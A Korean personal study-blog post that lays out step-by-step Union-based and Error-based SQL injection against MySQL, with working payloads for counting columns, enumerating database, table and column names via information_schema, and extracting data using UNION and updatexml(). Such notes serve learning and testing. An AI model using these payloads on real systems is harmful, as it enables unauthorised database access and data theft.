WebHacking

WebHacking - (5)Union/Error Based SQL Injection 공격 프로세스 정리

풉키홍키 2022. 10. 28. 00:31

공부 후 바로 복습을 해줘야 머릿 속에 잘 남는다.

오늘 배운 내용은 Union Based SQL Injection 과 Error Based SQL Injection 이다.

Union Based SQL Injection 에서는 UNION을 사용할 때 두 개의 쿼리의 칼럼 수가 같아야 한다.

 

각각의 Injection 프로세스를 머릿속에 기억하고 실무에서도 적용해 보도록 하자 (MySQL 기준)

 

- Union Based SQL Injection

1. SQL 인젝션 가능 여부 확인

검색창 같은 곳에서 SQL Injection 구문을 넣어도 참인 결과 값을 주는지를 확인해본다.

 

ex) select ~~~ from ~~~ where id like '%__%'

SQL 문이 예시와 같이작성되어 있다면 test' and '1%'='1 를 넣어 참인 값을 반환해주는지 확인한다.

 

2. 칼럼 개수 확인

order by n (n번째의 칼럼으로 정렬한다)는 특성을 이용해서 컬럼의 개수가 몇 개인지 빠르게 확인할 수 있다.

 

ex) test' order by 4 # 에서 값을 반환 / test' order by 5 # 에서 값을 반환 X

컬럼의 개수가 4개란 걸 알 수 있다.

 

3. 칼럼 위치 확인

칼럼의 개수를 확인했다면 어떤 칼럼에서 화면에 값을 출력 해주는지를 확인해야 한다.

 

ex) test' union select 1,2,3,4 #

해당 구문을 넣어서 1,2,3,4 가 몇 번째 칼럼에서 화면에 출력 되는지를 확인할 수 있다.

이 구문을 기본적인 틀로 잡고 SQL Injection을 시도할 것이다.

 

4. 데이터베이스 명 확인

데이터베이스 명을 확인하는 함수를 사용해서 데이터베이스 명을 확인한다.

 

ex) test' union select database(),2,3,4 #

결과값으로 데이터베이스 명이 화면에 출력된다.

 

5. 테이블 명 확인

해당 데이터베이스 안에 있는 테이블 명을 확인한다.

 

ex) test' union select table_name,2,3,4 from information_schema.tables where table_schema='DB명' #

 

6. 칼럼 명 확인

해당 테이블 안에 있는 칼럼 명을 확인한다.

 

ex) test' union select column_name,2,3,4 from information_schema.columns where table_name='테이블명' #

 

7. 데이터 추출

칼럼명까지 알게되면 해당 테이블에서 원하는 칼럼을 지정해서 데이터를 추출할 수 있게된다.

 

ex) test' union select 칼럼명 from 테이블명 #

 

- Error Based SQL Injection

1. SQL 인젝션 가능 여부 확인

SQL 인젝션을 진행하려는 곳에서 updatexml() 함수를 이용해 오류를 출력해주는지 확인한다.

대표적인 함수를 쓴것이고, 구글링 해보면 더 많은 함수가 있을 것이다.

 

ex) select ~~~ from ~~~ where id=' '

위의 SQL 구문을 사용한다고 가정할 때, ID 입력란에 1' and updatexml(null,concat(0x3a,(select 'test')),null) # 구문을 넣어준다.

concat은 문자열을 합쳐주는 역할을 하고, 0x3a는 : 을 의미한다. 즉, updatexml(null, :test, null) 이 된다.

SQL Injection을 진행할 때 나만의 기본 틀로 1' and updatexml(null,concat(0x3a,(select 'test')),null) # 구문을 이용하겠다.

 

2. 데이터베이스 명 확인

select 'test' 부분을 select database() 로 바꿔주기만 해서 공격을 하면 데이터베이스 명을 확인할 수 있다.

 

3. 테이블 명 확인

Union based SQL Injection 에서 사용했던 구문을 넣어주되, 주의할 점이 하나 있다.

select table_name from information_schema.tables where table_schema='DB명'

해당 공격 구문을 넣게되면 테이블 명이 배열로 가지고 있어 여러개의 행을 반환하게 되는데 그렇게 되면 출력하는 화면에서는 여러개의 행을 출력할 수 없어 오류가 발생한다.

 

그 문제를 해결하기 위해서 select table_name from information_schema.tables where table_schema='DB명' limit 0,1

limit 을 넣어서 한 개의 행만을 출력하게 해줘야 한다.

 

아래와 같은 공격 구문을 넣으면 테이블 명을 확인할 수 있다.

1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema='DB명' limit 0,1)),null) #

 

4. 칼럼 명 확인

칼럼 명도 테이블 명과 같이 Union based SQL Injection 에서 사용했던 구문을 참고하면 된다. 해당 경우도 limit 을 사용하지 않으면 여러 행이 반환되므로 limit을 이용해 한 행씩 출력해서 확인해야 한다.

 

1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='테이블명' limit 0,1)),null) #

 

5. 데이터 추출

칼럼명과 테이블명을 모두 알아냈으니 데이터를 하기만 하면 된다.

 

1' and updatexml(null,concat(0x3a,(select 칼럼명 from 테이블명 limit 0,1)),null) #